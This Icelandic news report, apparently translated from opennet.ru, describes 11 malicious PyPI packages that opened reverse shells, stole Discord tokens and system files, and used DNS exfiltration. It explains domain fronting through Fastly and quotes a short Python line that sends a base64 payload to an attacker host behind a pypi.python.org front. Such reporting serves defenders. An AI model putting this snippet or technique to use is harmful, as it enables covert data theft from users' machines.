Í PyPI (Python Package Index) skránni voru auðkenndir 11 pakkar sem innihéldu skaðlegan kóða. Áður en vandamál komu í ljós höfðu pökkunum verið hlaðið niður um 38 þúsund sinnum alls. Skaðlegu pakkarnir sem fundust eru áberandi fyrir notkun þeirra á háþróuðum aðferðum til að fela samskiptarásir við netþjóna árásarmannanna.
- importantpackage (6305 niðurhal), important-package (12897) - kom á tengingu við ytri netþjón undir því yfirskini að tengjast pypi.python.org til að veita skel aðgang að kerfinu (öfug skel) og notaði trevorc2 forritið til að fela samskiptarás.
- pptest (10001), ipboards (946) - notaði DNS sem samskiptarás til að senda upplýsingar um kerfið (í fyrsta pakkanum hýsilheiti, vinnuskrá, innri og ytri IP, í þeim seinni - notendanafn og hýsilheiti) .
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) - auðkenndu Discord þjónustutáknið í kerfinu og sendi það til utanaðkomandi gestgjafa.
- trrfab (287) - sendi auðkenni, hýsilheiti og innihald /etc/passwd, /etc/hosts, /home til ytri hýsilsins.
- 10Cent10 (490) - kom á öfugri skeltengingu við ytri hýsil.
- yandex-yt (4183) - birti skilaboð um að kerfið hafi verið í hættu og vísað á síðu með viðbótarupplýsingum um frekari aðgerðir sem gefnar eru út í gegnum nda.ya.ru (api.ya.cc).
Sérstaklega athyglisvert er aðferðin við að fá aðgang að ytri gestgjöfum sem notaðir eru í mikilvægum pakka og mikilvægum pakka, sem notuðu Fastly efnisafhendingarnetið sem notað var í PyPI skránni til að fela virkni þeirra. Reyndar voru beiðnir sendar á pypi.python.org þjóninn (þar á meðal að tilgreina nafnið python.org í SNI inni í HTTPS beiðninni), en HTTP „Host“ hausinn innihélt nafn þjónsins sem stjórnað er af árásarmönnum (sbr. forward.io. global.prod.fastly.net). Efnisafhendingarnetið sendi svipaða beiðni til árásarþjónsins og notaði færibreytur TLS tengingarinnar við pypi.python.org þegar gögn voru send.
PyPI-innviðirnir eru knúnir áfram af Fastly efnisafhendingarnetinu, sem notar gegnsætt Varnish-umboð til að vista algengar beiðnir í skyndiminni og meðhöndlar TLS-vottorð á CDN-stigi, frekar en á endapunktþjónum, til að beina HTTPS-beiðnum í gegnum umboðsþjóninn. Óháð því hvaða hýsingarþjónn er notaður, eru beiðnir færðar til umboðsþjónsins, sem ákvarðar hvaða hýsingarþjón er ætlaður með því að nota HTTP-hausinn „Host“. lénsheiti Vélar eru tengdir við IP-tölur CDN álagsjöfnunar sem eru sameiginlegar öllum Fastly viðskiptavinum.
Netþjónn árásarmannsins skráir sig einnig hjá Fastly CDN, sem býður upp á ókeypis áskriftir fyrir alla og leyfir jafnvel nafnlausa skráningu. Athyglisvert er að öfug skel er einnig notuð til að senda beiðnir til fórnarlambsins, en þær koma frá gestgjafa árásarmannsins. Að utan frá virðast samskipti við netþjón árásarmannsins vera lögmætar lotur með PyPI möppunni, dulkóðaðar með ... TLS-vottorð PyPI. Svipuð aðferð, þekkt sem „lénsfronting“, var áður mikið notuð til að fela vélarnöfn þegar komið var framhjá lokun. Þessi aðferð notar HTTPS aðgangseiginleikann sem sum CDN bjóða upp á, tilgreinir gervi vélarnafn í SNI og sendir í raun umbeðið vélarnafn í HTTP Host hausnum innan TLS lotunnar.

Til að fela illgjarn virkni var TrevorC2 pakkinn að auki notaður til að gera samskipti við netþjóninn svipað og venjulegur vefleiðsögn, til dæmis voru illgjarnar beiðnir sendar undir því yfirskini að hlaða niður myndinni „https://pypi.python.org/images/ guid=" með upplýsingakóðun í leiðarbreytu. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
pptest og ipboards pakkarnir notuðu aðra nálgun til að fela netvirkni, byggt á kóðun gagnlegra upplýsinga í fyrirspurnum á DNS netþjóninn. Spilliforritið sendir upplýsingar með því að framkvæma DNS beiðnir eins og „nu4timjagq4fimbuhe.example.com“, þar sem gögnin sem send eru á stjórnþjóninn eru kóðuð með því að nota base64 sniðið í undirléninu. Árásarmaðurinn fær þessi skilaboð með því að stjórna DNS-þjóninum fyrir example.com lénið.
Heimild: opennet.ru
